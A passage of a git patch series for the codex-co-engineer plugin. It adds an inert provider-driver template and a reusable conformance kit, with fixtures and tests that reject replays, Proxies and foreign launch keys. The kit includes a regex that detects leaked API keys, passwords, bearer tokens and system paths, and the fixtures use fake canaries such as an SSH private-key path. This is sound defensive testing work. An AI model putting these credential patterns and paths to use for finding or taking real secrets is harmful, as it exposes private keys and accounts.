'./run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const FUTURE_HARNESS_TEMPLATE_SCHEMA_ID = 'codex-co-engineer.future-harness-template.v1'; +export const FUTURE_HARNESS_TEMPLATE_VERSION = 1; + +export const FUTURE_HARNESS_IDENTITY_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'branch', 'lane_index', 'model', 'provider', + 'request_id', 'run_id', 'workspace_semantics', 'workspace_starting_point', +]); + +export const FUTURE_HARNESS_TEMPLATE_OPTION_KEYS = capturedFreeze([ + 'declaration', 'identity', +]); + +export const FUTURE_HARNESS_FAIL_CLOSED_FEATURES = capturedFreeze({ + cancellation: 'unsupported', + detailed_events: 'unsupported', + live_progress: 'unsupported', + restart: 'unsupported', +}); + +export const FUTURE_HARNESS_REQUEST_ID_PATTERN = /^[a-z][a-z0-9._:-]{0,127}$/u; +export const FUTURE_HARNESS_BRANCH_PATTERN = /^[a-z][a-z0-9._/-]{0,127}$/u; + +const REQUEST_VALIDATORS = capturedFreeze({ + preflight: validateDriverPreflightRequestV1, + launch: validateDriverLaunchRequestV1, + reconcile: validateDriverReconcileRequestV1, + cancel: validateDriverCancelRequestV1, +}); + +const RESULT_VALIDATORS = capturedFreeze({ + preflight: validateDriverPreflightResultV1, + launch: validateDriverLaunchResultV1, + reconcile: validateDriverReconcileResultV1, + cancel: validateDriverCancelResultV1, +}); + +const PRE_LAUNCH_STATES = capturedFreeze(['absent', 'ready', 'blocked', 'not_sent']); +const POSSIBLE_SEND_STATES = capturedFreeze([ + 'dispatch_uncertain', 'dispatched', 'in_progress', 'unresolved_attention', + 'terminal', 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); + +const IS_PROXY = utilTypes.isProxy; +const NUMBER_IS_INTEGER = Number.isInteger; +const OBJECT_FREEZE = Object.freeze; +const TEMPLATE_STORES = new WeakMap(); + +function assertPattern(value, pattern, path, label) { + if (typeof value !== 'string' || !capturedTest(pattern, value)) { + fail('invalid_format', path, `${path} must be a bounded ${label}.`); + } + return value; +} + +export function validateFutureHarnessIdentityV1(identity) { + const path = 'future_harness.identity'; + if (identity === undefined || identity === null) { + fail('missing_key', path, `${path} is required; identities are never inferred or substituted.`); + } + assertDirectJsonClosure(identity, path); + assertPlainObject(identity, 'invalid_type', path, path); + assertAllowedKeys(identity, FUTURE_HARNESS_IDENTITY_KEYS, path); + for (const key of FUTURE_HARNESS_IDENTITY_KEYS) { + if (!hasOwn(identity, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} must be caller-supplied.`); + } + } + const provider = optOwn(identity, 'provider'); + if (!isKnownProvider(provider)) { + fail('unknown_provider', `${path}.provider`, + `${path}.provider must be a caller-supplied P05 provider slot.`); + } + const model = optOwn(identity, 'model'); + if (!isModelId(model)) { + fail('invalid_exact_model_selection', `${path}.model`, + `${path}.model must be the exact caller-supplied model identifier.`); + } + assertPattern(optOwn(identity, 'run_id'), RUN_ID_PATTERN, `${path}.run_id`, 'run_id'); + assertPattern( + optOwn(identity, 'assignment_id'), ASSIGNMENT_ID_PATTERN, + `${path}.assignment_id`, 'assignment_id', + ); + const laneIndex = optOwn(identity, 'lane_index'); + if (!NUMBER_IS_INTEGER(laneIndex) || laneIndex < 0 || laneIndex > 7) { + fail('invalid_format', `${path}.lane_index`, + `${path}.lane_index must be an integer in 0..=7.`); + } + assertPattern(optOwn(identity, 'request_id'), FUTURE_HARNESS_REQUEST_ID_PATTERN, + `${path}.request_id`, 'request_id'); + assertPattern(optOwn(identity, 'branch'), FUTURE_HARNESS_BRANCH_PATTERN, + `${path}.branch`, 'branch'); + assertPattern(optOwn(identity, 'base_sha'), SHA40_PATTERN, `${path}.base_sha`, 'base_sha'); + return freezeData({ + provider, + model, + run_id: optOwn(identity, 'run_id'), + assignment_id: optOwn(identity, 'assignment_id'), + lane_index: laneIndex, + request_id: optOwn(identity, 'request_id'), + branch: optOwn(identity, 'branch'), + base_sha: optOwn(identity, 'base_sha'), + workspace_semantics: optOwn(identity, 'workspace_semantics'), + workspace_starting_point: optOwn(identity, 'workspace_starting_point'), + }); +} + +function assertIdentityMatchesDeclaration(identity, declaration) { + if (identity.provider !== declaration.capability.provider) { + fail('provider_slot_mismatch', 'future_harness.identity.provider', + 'Caller-supplied provider must equal the P17 capability provider slot.'); + } + if (identity.workspace_semantics !== declaration.capability.workspace_semantics + || identity.workspace_starting_point !== declaration.capability.workspace_starting_point) { + fail('capability_workspace_mismatch', 'future_harness.identity.workspace_semantics', + 'Caller-supplied workspace posture must equal the P17 capability workspace posture.'); + } +} + +function assertEnvelopeIdentity(view, identity, operation) { + const envelope = view.envelope; + const path = `driver.${operation}.request`; + if (envelope.execution.provider !== identity.provider) { + fail('provider_slot_mismatch', `${path}.envelope_text`, + 'Proven child provider does not match the frozen caller-supplied identity.'); + } + if (envelope.execution.model !== identity.model) { + fail('invalid_exact_model_selection', `${path}.envelope_text`, + 'Proven child model does not match the frozen caller-supplied identity.'); + } + if (envelope.run_id !== identity.run_id + || envelope.assignment_id !== identity.assignment_id + || envelope.lane_index !== identity.lane_index + || envelope.repository.base_sha !== identity.base_sha) { + fail('stale_identity_denied', path, + 'Proven child run/assignment/lane/base identity does not match the frozen caller-supplied identity.'); + } + if (identity.workspace_starting_point === 'run_base_sha') { + if (envelope.starting_ref !== null) { + fail('capability_workspace_mismatch', `${path}.envelope_text`, + 'Local template lanes start at the frozen base_sha and never carry a starting_ref.'); + } + } else if (envelope.starting_ref !== identity.base_sha) { + fail('capability_workspace_mismatch', `${path}.envelope_text`, + 'Pinned starting_ref must equal the frozen caller-supplied base_sha.'); + } +} + +function assertTransition(operation, state, view) { + const path = `driver.${operation}.request`; + if (operation === 'preflight') { + if (state === 'absent' || state === 'ready' || state === 'blocked' || state === 'not_sent') { + return; + } + fail('invalid_transition', path, + 'Preflight cannot run after a prompt may have been dispatched; reconcile or cancel instead.'); + } + if (operation === 'launch') { + if (state === 'absent') { + fail('not_preflighted', path, + 'Launch requires a prior preflight:ready result for this exact child identity.'); + } + if (state === 'blocked') { + fail('blocked_lane_denied', path, + 'A blocked preflight cannot launch; the lane fails closed with no fallback.'); + } + if (state === 'ready' || state === 'not_sent') return; + fail('replay_denied', path, + 'A previous launch may have sent the prompt; the lane is never replayed.'); + } + if (operation === 'reconcile') { + if (capturedIncludes(PRE_LAUNCH_STATES, state) && state !== 'not_sent') { + fail('not_dispatched', path, + 'Reconcile addresses an existing dispatch; this child has no launch observation.'); + } + if (state === 'not_sent') { + fail('not_dispatched', path, + 'A not_sent launch never reached a provider; reconcile cannot invent a dispatch.'); + } + if (view.intent === 'restart_reattach' && !capturedIncludes(POSSIBLE_SEND_STATES, state)) { + fail('not_dispatched', `${path}.intent`, + 'restart_reattach recovers existing provider work and is never a relaunch.'); + } + return; + } + if (capturedIncludes(PRE_LAUNCH_STATES, state)) { + fail('not_dispatched', path, + 'Cancel addresses an existing dispatch; this child has no launch observation.'); + } +} + +function detailFor(operation, disposition) { + if (operation === 'preflight' && disposition === 'blocked') { + return capturedFreeze({ + detail_code: 'model_unattested', + detail_message: 'The installed driver cannot attest the requested model.', + }); + } + if (operation === 'launch' && disposition === 'not_sent') { + return capturedFreeze({ + detail_code: 'transport_unavailable', + detail_message: 'No provider transport is configured.', + }); + } + return undefined; +} + +function buildResult(operation, view, identity, disposition) { + const result = { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: view.child_envelope_digest, + disposition, + }; + const detail = detailFor(operation, disposition); + if (detail !== undefined) { + result.detail_code = detail.detail_code; + result.detail_message = detail.detail_message; + } + return result; +} + +function runOperation(store, operation, request) { + const view = REQUEST_VALIDATORS[operation](request); + assertEnvelopeIdentity(view, store.identity, operation); + const state = store.state; + assertTransition(operation, state, view); + let disposition; + if (operation === 'preflight') { + const attested = store.declaration.capability.exact_model_selection === 'exact_and_attested'; + disposition = attested ? 'ready' : 'blocked'; + } else if (operation === 'launch') { + disposition = 'not_sent'; + } else { + fail('unsupported_capability', `driver.${operation}.request`, + `Template operation "${operation}" is inert and fails closed with no provider transport.`); + } + if (!capturedIncludes(DRIVER_DISPOSITIONS[operation], disposition)) { + fail('invalid_format', `driver.${operation}.result.disposition`, + 'Template disposition is outside the closed P17 vocabulary.'); + } + const frozen = RESULT_VALIDATORS[operation]( + buildResult(operation, view, store.identity, disposition), + view.request, + store.declaration, + ); + store.state = disposition; + return frozen; +} + +function installOperation(driver, store, operation) { + capturedDefineProperty(driver, operation, { + value: function futureHarnessTemplateOperation(request) { + return runOperation(store, operation, request); + }, + enumerable: true, + configurable: false, + writable: false, + }); +} + +export function createFutureHarnessDriverTemplateV1(options) { + const path = 'future_harness.template'; + if (options === undefined || options === null) { + fail('missing_key', path, `${path} requires caller-supplied identity and declaration.`); + } + if (options !== null && (typeof options === 'object' || typeof options === 'function') + && IS_PROXY(options)) { + fail('proxy_denied', path, `${path} is a live or revoked Proxy; template options must be direct JSON.`); + } + assertDirectJsonClosure(options, path); + assertPlainObject(options, 'invalid_type', path, path); + assertAllowedKeys(options, FUTURE_HARNESS_TEMPLATE_OPTION_KEYS, path); + if (!hasOwn(options, 'identity') || !hasOwn(options, 'declaration')) { + fail('missing_key', path, `${path} requires own identity and declaration fields.`); + } + const identity = validateFutureHarnessIdentityV1(optOwn(options, 'identity')); + const declaration = validateDriverDeclarationV1(optOwn(options, 'declaration')); + assertIdentityMatchesDeclaration(identity, declaration); + const store = { + identity, + declaration, + state: 'absent', + }; + const driver = capturedCreate(null); + for (const operation of DRIVER_OPERATIONS) { + installOperation(driver, store, operation); + } + OBJECT_FREEZE(driver); + TEMPLATE_STORES.set(driver, store); + assertProviderDriverV1(driver); + return driver; +} + +export function bindFutureHarnessDriverTemplateV1(options) { + const driver = createFutureHarnessDriverTemplateV1(options); + const bound = bindProviderDriverV1(driver, TEMPLATE_STORES.get(driver).declaration); + TEMPLATE_STORES.set(bound, TEMPLATE_STORES.get(driver)); + return bound; +} + +export function inspectFutureHarnessTemplateBindingV1(driver) { + const path = 'future_harness.template.binding'; + if (driver !== null && (typeof driver === 'object' || typeof driver === 'function') + && IS_PROXY(driver)) { + fail('proxy_denied', path, `${path} is a live or revoked Proxy.`); + } + if (driver === null || typeof driver !== 'object' || capturedIsArray(driver)) { + fail('invalid_type', path, `${path} must be a concrete driver object.`); + } + const store = TEMPLATE_STORES.get(driver); + if (store === undefined) { + fail('stale_identity_denied', path, 'No frozen template binding exists for this driver object.'); + } + return freezeData({ + schema: FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, + version: FUTURE_HARNESS_TEMPLATE_VERSION, + identity: store.identity, + declaration: store.declaration, + state: store.state, + }); +} + +export function describeFutureHarnessDriverTemplateV1() { + const contract = describeProviderDriverContractV1(); + return capturedFreeze({ + schema: FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, + version: FUTURE_HARNESS_TEMPLATE_VERSION, + driver_schema: PROVIDER_DRIVER_SCHEMA_ID, + driver_version: PROVIDER_DRIVER_VERSION, + declaration_schema: DRIVER_DECLARATION_SCHEMA_ID, + operations: capturedFreeze([...DRIVER_OPERATIONS]), + features: DRIVER_FEATURE_VALUES, + fail_closed_features: FUTURE_HARNESS_FAIL_CLOSED_FEATURES, + identity_keys: FUTURE_HARNESS_IDENTITY_KEYS, + relaunch_operations: capturedFreeze([]), + transports: capturedFreeze([]), + live_transport_qualification: false, + inert: true, + contract_schema: contract.schema, + }); +} + +capturedFreeze(validateFutureHarnessIdentityV1); +capturedFreeze(createFutureHarnessDriverTemplateV1); +capturedFreeze(bindFutureHarnessDriverTemplateV1); +capturedFreeze(inspectFutureHarnessTemplateBindingV1); +capturedFreeze(describeFutureHarnessDriverTemplateV1); From a594cd847539c86447f9776fc63e98d7b0688387 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 04:38:22 +0000 Subject: [PATCH 049/151] test(provider): publish reusable conformance fixtures Add deterministic inert fixtures, a reusable conformance runner, and normal/adversarial/conformance suites for future harnesses. The kit proves P17 lifecycle, fail-closed unsupported operations, and never qualifies a live transport. --- .../mcp/v3/future-harness.mjs | 9 + .../mcp/v3/provider-driver-conformance.mjs | 342 ++++++++++++++++++ .../r1-future-harness-conformance.mjs | 192 ++++++++++ .../r1-future-harness-adversarial.test.mjs | 169 +++++++++ .../r1-future-harness-conformance.test.mjs | 199 ++++++++++ .../test/r1-future-harness.test.mjs | 217 +++++++++++ 6 files changed, 1128 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/provider-driver-conformance.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-future-harness-conformance.mjs create mode 100644 plugins/codex-co-engineer/test/r1-future-harness-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-future-harness-conformance.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-future-harness.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/future-harness.mjs b/plugins/codex-co-engineer/mcp/v3/future-harness.mjs index bbb626d..2dea529 100644 --- a/plugins/codex-co-engineer/mcp/v3/future-harness.mjs +++ b/plugins/codex-co-engineer/mcp/v3/future-harness.mjs @@ -18,3 +18,12 @@ export { inspectFutureHarnessTemplateBindingV1, validateFutureHarnessIdentityV1, } from './provider-driver-template.mjs'; + +export { + FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + FUTURE_HARNESS_CONFORMANCE_VERSION, + FUTURE_HARNESS_LEAK_PATTERN, + assertFutureHarnessContentFreeV1, + describeFutureHarnessConformanceKitV1, + runFutureHarnessConformanceKitV1, +} from './provider-driver-conformance.mjs'; diff --git a/plugins/codex-co-engineer/mcp/v3/provider-driver-conformance.mjs b/plugins/codex-co-engineer/mcp/v3/provider-driver-conformance.mjs new file mode 100644 index 0000000..38feaa7 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/provider-driver-conformance.mjs @@ -0,0 +1,342 @@ +// Reusable ProviderDriverV1 future-harness conformance kit (P22). +// +// Future adapters import this runner with their own driver. It is +// deterministic, inert, and captured-intrinsic: no ambient network, clocks, +// random IDs, credentials, or processes. Passing this kit does not qualify a +// live transport. + +import assert from 'node:assert/strict'; +import { types as utilTypes } from 'node:util'; + +import { + capturedFreeze, + capturedIncludes, + capturedTest, +} from './grammar.mjs'; +import { + DRIVER_FEATURE_KEYS, + DRIVER_OPERATION_SCHEMA_IDS, + DRIVER_OPERATIONS, + DRIVER_RESULT_KEYS, + LAUNCH_DISPOSITIONS, + PREFLIGHT_DISPOSITIONS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertProviderDriverV1, + bindProviderDriverV1, + buildDriverOperationRequestV1, + describeProviderDriverContractV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, +} from './provider-driver.mjs'; +import { RunContractV1Error } from './run-manifest.mjs'; +import { freezeData, hasOwn } from './selection-json.mjs'; + +export const FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID = 'codex-co-engineer.future-harness-conformance.v1'; +export const FUTURE_HARNESS_CONFORMANCE_VERSION = 1; + +export const FUTURE_HARNESS_LEAK_PATTERN = new RegExp( + [ + 'api[_-]?key', + 'password', + 'passphrase', + 'private[_-]?key', + 'secret', + 'bearer\\s+[a-z0-9._+/-]+=*', + '(?:sk|xai)-[a-z0-9_-]{8,}', + '/home/', + '/opt/', + '/tmp/', + '/var/', + '[a-z]:\\\\', + ].join('|'), + 'iu', +); + +const FOREIGN_LAUNCH_KEYS = capturedFreeze([ + capturedFreeze(['fallback', true, 'replay_or_fallback_denied']), + capturedFreeze(['retry_dispatch', 'now', 'replay_or_fallback_denied']), + capturedFreeze(['allow_merge', true, 'merge_authority_denied']), + capturedFreeze(['create_pr', true, 'merge_authority_denied']), + capturedFreeze(['auto_create_pr', true, 'merge_authority_denied']), + capturedFreeze(['push', true, 'merge_authority_denied']), + capturedFreeze(['resend', true, 'replay_or_fallback_denied']), + capturedFreeze(['credentials', { token: true }, 'credential_content_denied']), +]); + +const IS_PROXY = utilTypes.isProxy; + +function expectDriverFailure(prefix, name, fn, code) { + assert.throws( + fn, + (error) => error instanceof RunContractV1Error && (code === undefined || error.code === code), + `${prefix} ${name}: expected RunContractV1Error${code ? ` with code ${code}` : ''}.`, + ); +} + +export function assertFutureHarnessContentFreeV1(value, path) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + if (typeof text !== 'string') return; + if (capturedTest(FUTURE_HARNESS_LEAK_PATTERN, text)) { + throw new RunContractV1Error( + 'credential_content_denied', + path, + `${path} leaks secret, credential, or filesystem-path content.`, + ); + } +} + +function hostileRequest(fixture, extraKey, extraValue) { + const request = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + if (extraKey !== undefined) request[extraKey] = extraValue; + return request; +} + +function assertReceiptIdentity(prefix, receipt, fixture, operation) { + assert.equal(receipt.run_id, fixture.identity.run_id, `${prefix} ${operation} echoes run_id`); + assert.equal(receipt.assignment_id, fixture.identity.assignment_id, + `${prefix} ${operation} echoes assignment_id`); + assert.equal(receipt.lane_index, fixture.identity.lane_index, + `${prefix} ${operation} echoes lane_index`); + assert.equal(receipt.base_sha, fixture.identity.base_sha, `${prefix} ${operation} echoes base_sha`); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest, + `${prefix} ${operation} echoes the proven digest`); + assert.ok(Object.isFrozen(receipt), `${prefix} ${operation} result is frozen`); + for (const key of Object.keys(receipt)) { + assert.ok(capturedIncludes(DRIVER_RESULT_KEYS, key), + `${prefix} ${operation} result key "${key}" is outside the closed P17 receipt vocabulary`); + } + assertFutureHarnessContentFreeV1(receipt, `driver.${operation}.result`); +} + +export function runFutureHarnessConformanceKitV1(driver, options = {}) { + const label = options.label ?? 'future-harness'; + const prefix = `[${label}]`; + const declaration = options.declaration; + const fixture = options.fixture; + if (declaration === undefined || fixture === undefined) { + throw new RunContractV1Error( + 'missing_key', + 'future_harness.conformance', + 'Conformance kit requires a P17 declaration and a frozen fixture.', + ); + } + const expectedPreflight = options.expect?.preflight_disposition ?? 'ready'; + const expectedLaunch = options.expect?.launch_disposition ?? 'not_sent'; + if (!capturedIncludes(PREFLIGHT_DISPOSITIONS, expectedPreflight) + || !capturedIncludes(LAUNCH_DISPOSITIONS, expectedLaunch)) { + throw new RunContractV1Error( + 'invalid_format', + 'future_harness.conformance.expect', + 'Expected dispositions must be closed P17 values.', + ); + } + + let checks = 0; + const pass = () => { checks += 1; }; + + const description = describeProviderDriverContractV1(); + assert.deepEqual([...description.operations], [...DRIVER_OPERATIONS], `${prefix} four operations`); + assert.equal(description.relaunch_operations.length, 0, `${prefix} no relaunch`); + assert.deepEqual([...description.transports], [], `${prefix} contract claims no transport`); + assert.equal(description.capability_schema_id, PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + `${prefix} P05 capability schema`); + pass(); + + const summary = assertProviderDriverV1(driver); + assert.deepEqual([...summary.operations], [...DRIVER_OPERATIONS], `${prefix} driver surface`); + pass(); + + const validatedDeclaration = validateDriverDeclarationV1(declaration); + assert.equal(validatedDeclaration.capability.provider, fixture.identity.provider, + `${prefix} declaration provider is the frozen caller identity`); + assert.equal(validatedDeclaration.capability.replay_posture, 'never_replay', + `${prefix} replay posture is never_replay`); + assert.equal(validatedDeclaration.capability.merge_authority, 'none_codex_only_integration', + `${prefix} merge authority is Codex-only`); + pass(); + + const bound = bindProviderDriverV1(driver, declaration); + expectDriverFailure(prefix, 'launch before preflight', + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'not_preflighted'); + pass(); + + const preflight = bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + assert.equal(preflight.disposition, expectedPreflight, `${prefix} preflight disposition`); + assertReceiptIdentity(prefix, preflight, fixture, 'preflight'); + pass(); + + if (expectedPreflight === 'blocked') { + expectDriverFailure(prefix, 'launch after blocked preflight', + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'blocked_lane_denied'); + pass(); + return freezeData({ + schema: FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + version: FUTURE_HARNESS_CONFORMANCE_VERSION, + label, + checks, + ok: true, + mode: 'blocked', + operations: capturedFreeze([...DRIVER_OPERATIONS]), + live_transport_qualification: false, + }); + } + + const launch = bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + assert.equal(launch.disposition, expectedLaunch, `${prefix} launch disposition`); + assertReceiptIdentity(prefix, launch, fixture, 'launch'); + if (expectedLaunch === 'not_sent') { + assert.equal(typeof launch.detail_code, 'string', `${prefix} not_sent classifies itself`); + expectDriverFailure(prefix, 'reconcile after not_sent', + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope)), + 'not_dispatched'); + const cancelCode = validatedDeclaration.features.cancellation === 'unsupported' + ? 'unsupported_capability' + : 'not_dispatched'; + expectDriverFailure(prefix, 'cancel after not_sent', + () => bound.cancel(buildDriverOperationRequestV1('cancel', fixture.envelope)), + cancelCode); + } else { + assert.equal(launch.detail_code, undefined, `${prefix} ${expectedLaunch} launch stays bare`); + expectDriverFailure(prefix, 'duplicate launch after possible send', + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'replay_denied'); + const observe = bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope)); + assertReceiptIdentity(prefix, observe, fixture, 'reconcile'); + if (validatedDeclaration.features.cancellation === 'unsupported') { + expectDriverFailure(prefix, 'unsupported cancel', + () => bound.cancel(buildDriverOperationRequestV1('cancel', fixture.envelope)), + 'unsupported_capability'); + } else if (observe.disposition === 'terminal') { + const cancel = bound.cancel(buildDriverOperationRequestV1('cancel', fixture.envelope)); + assert.equal(cancel.disposition, 'already_terminal', `${prefix} terminal cancel is absorbed`); + assertReceiptIdentity(prefix, cancel, fixture, 'cancel'); + } else { + const cancel = bound.cancel(buildDriverOperationRequestV1('cancel', fixture.envelope)); + assertReceiptIdentity(prefix, cancel, fixture, 'cancel'); + } + if (validatedDeclaration.features.restart === 'unsupported') { + expectDriverFailure(prefix, 'unsupported reattach', + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { + intent: 'restart_reattach', + })), + 'unsupported_capability'); + } + if (validatedDeclaration.features.detailed_events === 'unsupported') { + expectDriverFailure(prefix, 'unsupported detailed events', + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { + include: ['detailed_events'], + })), + 'unsupported_capability'); + } + if (validatedDeclaration.features.live_progress === 'unsupported') { + expectDriverFailure(prefix, 'unsupported live progress', + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { + include: ['live_progress'], + })), + 'unsupported_capability'); + } + } + pass(); + + expectDriverFailure(prefix, 'digest-only launch', + () => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), + 'digest_only_launch_denied'); + pass(); + + for (const [key, value, code] of FOREIGN_LAUNCH_KEYS) { + expectDriverFailure(prefix, `foreign key ${key}`, + () => validateDriverLaunchRequestV1(hostileRequest(fixture, key, value)), + code); + } + pass(); + + let getterRuns = 0; + const accessorRequest = hostileRequest(fixture); + delete accessorRequest.envelope_text; + Object.defineProperty(accessorRequest, 'envelope_text', { + enumerable: true, + get() { + getterRuns += 1; + return fixture.envelope_text; + }, + }); + expectDriverFailure(prefix, 'accessor request', + () => validateDriverLaunchRequestV1(accessorRequest), + 'accessor_property_denied'); + assert.equal(getterRuns, 0, `${prefix} getters never run`); + expectDriverFailure(prefix, 'Proxy request', + () => validateDriverLaunchRequestV1(new Proxy(hostileRequest(fixture), {})), + 'proxy_denied'); + expectDriverFailure(prefix, 'symbol key', + () => validateDriverLaunchRequestV1(hostileRequest(fixture, Symbol('hidden'), 1)), + 'symbol_key_denied'); + expectDriverFailure(prefix, 'exotic prototype', + () => validateDriverLaunchRequestV1(Object.assign( + Object.create({ inherited() {} }), hostileRequest(fixture), + )), + 'exotic_prototype_denied'); + pass(); + + expectDriverFailure(prefix, 'fifth operation', + () => assertProviderDriverV1({ ...driver, reply: () => ({}) }), + 'invalid_surface'); + expectDriverFailure(prefix, 'Proxy driver', + () => assertProviderDriverV1(new Proxy({ ...driver }, {})), + 'proxy_denied'); + pass(); + + assert.equal(DRIVER_FEATURE_KEYS.length, 4, `${prefix} four honest features`); + assert.equal(validatedDeclaration.capability.same_session_reply === 'live_session_reply' + || validatedDeclaration.capability.same_session_reply === 'unsupported_unresolved_attention', + true, `${prefix} reply posture is closed`); + pass(); + + return freezeData({ + schema: FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + version: FUTURE_HARNESS_CONFORMANCE_VERSION, + label, + checks, + ok: true, + mode: expectedLaunch, + operations: capturedFreeze([...DRIVER_OPERATIONS]), + live_transport_qualification: false, + }); +} + +export function describeFutureHarnessConformanceKitV1() { + return capturedFreeze({ + schema: FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + version: FUTURE_HARNESS_CONFORMANCE_VERSION, + operations: capturedFreeze([...DRIVER_OPERATIONS]), + live_transport_qualification: false, + proves: capturedFreeze([ + 'required_methods_and_capabilities', + 'preflight_before_spawn', + 'dispatch_certainty_and_never_replay', + 'exact_identity_binding', + 'terminal_absorption', + 'cancel_reattach_reply_supported_versus_unsupported', + 'content_free_bounded_errors_and_evidence', + 'hostile_extra_keys_prototypes_accessors', + 'bounded_events_and_receipts', + 'no_secret_or_path_leakage', + 'no_remote_pr_merge_authority', + ]), + }); +} + +capturedFreeze(assertFutureHarnessContentFreeV1); +capturedFreeze(runFutureHarnessConformanceKitV1); +capturedFreeze(describeFutureHarnessConformanceKitV1); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-future-harness-conformance.mjs b/plugins/codex-co-engineer/test/fixtures/r1-future-harness-conformance.mjs new file mode 100644 index 0000000..81421b2 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-future-harness-conformance.mjs @@ -0,0 +1,192 @@ +// Inert P22 future-harness conformance fixtures. Fake identities and +// scripted drivers only. Callers inject every identity; nothing reads the +// clock, network, credentials, or process table. + +import { FUTURE_HARNESS_FAIL_CLOSED_FEATURES } from '../../mcp/v3/future-harness.mjs'; +import { childEnvelopeDigestV1 } from '../../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, +} from '../../mcp/v3/provider-driver.mjs'; +import { p17Record } from './r1-resolver-fixtures.mjs'; + +export const FUTURE_HARNESS_FIXTURE_BASE_SHA = 'b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1'; +export const FUTURE_HARNESS_FIXTURE_REPOSITORY_PATH = '/repo/future-harness-conformance'; +export const FUTURE_HARNESS_FIXTURE_RUN_ID = 'future-harness-kit'; +export const FUTURE_HARNESS_FIXTURE_ASSIGNMENT_ID = 'contract-lane'; +export const FUTURE_HARNESS_FIXTURE_REQUEST_ID = 'req-conformance-1'; +export const FUTURE_HARNESS_FIXTURE_BRANCH = 'codex-co-engineer/future-harness-kit'; +export const FUTURE_HARNESS_SECRET_CANARY = 'sk-leakedsecretvalue'; +export const FUTURE_HARNESS_PATH_CANARY = '/opt/secret-user/.ssh/id_ed25519'; + +const PROVIDER_MODELS = Object.freeze({ + grok: 'grok-4', + 'cursor-local': 'composer-1', + 'cursor-cloud': 'claude-sonnet-4-5', + dsh: 'stealth/ox-alpha', +}); + +export function futureHarnessFailClosedDeclarationV1(provider, capabilityOverrides = {}) { + return { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: p17Record(provider, { + create_pr_posture: 'prohibited', + notes: `${provider} future-harness fail-closed fixture`, + revision: 'p22.fixture.1', + ...capabilityOverrides, + }), + features: { ...FUTURE_HARNESS_FAIL_CLOSED_FEATURES }, + }; +} + +export function futureHarnessSupportedDeclarationV1(provider, featureOverrides = {}, capabilityOverrides = {}) { + return { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: p17Record(provider, { + create_pr_posture: 'prohibited', + notes: `${provider} future-harness supported-feature fixture`, + revision: 'p22.fixture.1', + ...capabilityOverrides, + }), + features: { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + ...featureOverrides, + }, + }; +} + +export function buildFutureHarnessFixtureV1(provider = 'dsh', overrides = {}) { + const model = overrides.model ?? PROVIDER_MODELS[provider]; + const baseSha = overrides.base_sha ?? FUTURE_HARNESS_FIXTURE_BASE_SHA; + const assignment = { + assignment_id: FUTURE_HARNESS_FIXTURE_ASSIGNMENT_ID, + role: 'implement', + access: 'writer', + prompt: 'Implement the future-harness contract lane exactly.', + execution: { provider, model }, + write_scope: ['mcp/**'], + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report', 'git_diff'], + }; + if (provider === 'cursor-cloud') assignment.starting_ref = baseSha; + const manifest = Object.freeze({ + schema: 'codex-co-engineer.run.v1', + run_id: FUTURE_HARNESS_FIXTURE_RUN_ID, + repository: Object.freeze({ + path: 